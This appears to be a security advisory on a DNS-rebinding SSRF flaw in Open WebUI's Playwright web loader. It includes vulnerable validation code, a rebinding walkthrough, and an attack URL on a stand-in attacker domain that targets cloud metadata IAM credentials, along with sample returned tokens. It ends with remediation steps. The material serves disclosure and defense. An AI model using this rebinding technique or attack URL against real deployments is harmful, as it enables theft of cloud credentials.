Executive Summary: TOCTOU Vulnerability in AI Web Retrieval

Security researchers have uncovered a high-severity Server-Side Request Forgery (SSRF) vulnerability in Open WebUI, the premier self-hosted web interface used by thousands of enterprises to interact with local and cloud-hosted LLM endpoints (including Ollama, vLLM, and OpenAI-compatible gateways). Designated as CVE-2026-87996 with a CVSS v3.1 base score of 7.7 (High), the flaw enables authenticated users to bypass internal IP blacklists and force the backend server to communicate directly with internal network interfaces, private VPC microservices, and cloud metadata infrastructure.

The vulnerability represents a classic Time-of-Check Time-of-Use (TOCTOU) race condition (CWE-367) leading to SSRF (CWE-918). While the application implemented explicit IP validation logic to forbid requests to private RFC-1918 subnets, loopback addresses, and link-local ranges, the validation step was decoupled from the actual HTTP connection dispatch executed by the headless Playwright browser runtime.

Root Cause Analysis: SafePlaywrightURLLoader DNS Decoupling

In modern enterprise AI systems, users frequently supply web URLs within chat prompts to ground conversations using real-time retrieval-augmented generation (RAG). To ingest JavaScript-rendered websites, Open WebUI deploys the SafePlaywrightURLLoader component located in backend/open_webui/retrieval/web/utils.py.

Before directing Playwright to navigate to a target website, the loader performs a preliminary Python-level sanity check:

# Simplified vulnerable logic in utils.py (prior to v0.11.1)
def validate_url(url: str):
    parsed = urllib.parse.urlparse(url)
    # Check 1: Resolve hostname using Python socket library
    ip = socket.gethostbyname(parsed.hostname)
    
    # Check 2: Block RFC 1918, Loopback, and Cloud Metadata (169.254.169.254)
    if ipaddress.ip_address(ip).is_private:
        raise ValueError("Access to internal networks is restricted")
    return True

# Once validated, Playwright is separately invoked:
async def load_url(url: str):
    validate_url(url) # Checked here (Time-of-Check)
    
    # Executed here in separate browser process (Time-of-Use):
    async with async_playwright() as p:
        browser = await p.chromium.launch()
        page = await browser.new_page()
        await page.goto(url) # Browser performs independent DNS resolution!

The critical breakdown occurs because the operating system's C resolver library used by Python and Chromium's internal asynchronous DNS client operate independently. An attacker configuring an authoritative nameserver for a custom domain (e.g., rebinder.attacker.com) configures a DNS record with a Time-To-Live (TTL) of 0 seconds:

  1. Query 1 (Time-of-Check): The Python socket.gethostbyname() query receives a legitimate public IP address (e.g., 93.184.216.34). The validation logic approves the request.
  2. Query 2 (Time-of-Use): Milliseconds later, Chromium initiates the navigation via page.goto(url). Because TTL was 0, Chromium executes a fresh DNS query. The attacker's nameserver responds with 169.254.169.254 (AWS/GCP/Azure Metadata Service) or 127.0.0.1.
  3. Data Exfiltration: Chromium connects to the cloud metadata service, renders the IAM credentials or access tokens into the DOM, and Open WebUI extracts the text to feed back into the chat session context.

Impact on Cloud Infrastructure: IMDS Token Harvesting

In containerized cloud deployments (Amazon EKS, Google GKE, Azure AKS, or EC2 instances), accessing the link-local metadata address yields temporary IAM credentials:

# Attack payload target:
http://rebinder.attacker.com/latest/meta-data/iam/security-credentials/k8s-node-role

# Returned JSON payload ingested by Open WebUI RAG pipeline:
{
  "Code": "Success",
  "LastUpdated": "2026-09-25T16:00:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAVEXAMPLEKEY12345",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "IQoJb3JpZ2luX2VjEAMaCXVzLWVhc3QtMSJGMEQC...",
  "Expiration": "2026-09-25T22:00:00Z"
}

Affected Versions & Fix Verification

Application Vulnerable Versions Fixed Version Remediation Architecture
Open WebUI Core 0.9.6 ≤ Version < 0.11.1 0.11.1 or later Pre-connection IP pinning & Playwright request interception
Custom RAG Fetchers Direct Playwright page.goto() calls Route interception with abort() Inspect resolved IP within page.route() handler

Defensive Remediation Playbook

  1. Upgrade Open WebUI Container: Pull and deploy the updated container image:
    # Docker Pull & Restart
    docker pull ghcr.io/open-webui/open-webui:0.11.1
    docker stop open-webui && docker rm open-webui
    docker run -d -p 3000:8080 --add-host=host.docker.internal:host-gateway   -v open-webui:/app/backend/data   --name open-webui ghcr.io/open-webui/open-webui:0.11.1
  2. Enforce IMDSv2 with Hop Limit 1: In AWS environments, restrict the Instance Metadata Service to require session tokens and set the HTTP response hop limit to 1 so containerized applications cannot reach IMDS over bridge interfaces:
    aws ec2 modify-instance-metadata-options   --instance-id i-0123456789abcdef0   --http-tokens required   --http-put-response-hop-limit 1   --http-endpoint enabled
  3. Implement Network Egress Filtering: Apply Kubernetes NetworkPolicies or Docker firewall rules blocking outbound TCP traffic to 169.254.169.254/32 and RFC 1918 subnets from all AI worker pods.